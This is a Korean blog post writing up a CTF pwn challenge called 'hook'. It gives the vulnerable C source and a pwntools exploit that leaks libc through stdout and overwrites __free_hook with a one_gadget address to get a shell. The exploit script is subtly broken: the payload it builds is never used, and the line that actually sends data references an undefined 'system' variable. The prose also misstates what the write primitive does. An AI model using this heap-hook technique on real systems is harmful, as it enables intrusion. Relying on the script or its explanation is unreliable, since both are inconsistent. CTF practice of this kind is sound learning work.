hook

곽무경·2022년 7월 9일

System Hacking Quiz

목록 보기
17/21


amd64, Full RELRO, Canary, NX 적용

코드의 흐름

    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;

지역변수 *ptr, size가 있고, 처음에 stdout의 포인터를 알려준다.
그 포인터를 이용해 libc 오프셋을 구할 수 있다.
scanf로 size를 입력받고, 포인터 변수 ptr은 동적 할당된 메모리를 가리키게 된다.
read로 동적 할당 받은 ptr의 내용을 입력받는다.
*(long *)*ptr = *(ptr+1); 은 ptr에 ptr+1 (ptr로부터 8바이트 떨어진 데이터)를 대입하는 것이다.

스택 구조


총 크기 : 0x30
*argv[0x8], ???[0x4], argc[0x4] (main 함수 인자) [0x10]
???[0x8] 0x8
size_t size[0x8], long *ptr[0x8], (지역 변수) [0x10]
canary[0x8] 0x8

1. stdout 주소 확인 및 오프셋 구하기

p.recvuntil(b"stdout: ")
stdout=int(p.recvn(14),16)

lb=stdout-0x3c5620

2. free_hook, one_gadget 구하고, payload 구성, 셸 획득


첫번째 것은 작동이 되지 않으므로 두번째 것을 선택했다.

free_hook=lb+0x3c67a8
oneshot=lb+0x4526a

ptr에 ptr로부터 8바이트 떨어진 것을 대입하므로,
free_hook과 oneshot (16바이트)을 연달아서 전송해주면 셸을 얻을 수 있다.

payload=p64(free_hook)+p64(oneshot)

p.recvuntil("Size: ")
p.sendline(b"16")
p.recvuntil("Data: ")
p.send(p64(free_hook)+p64(system))

p.interactive()

0개의 댓글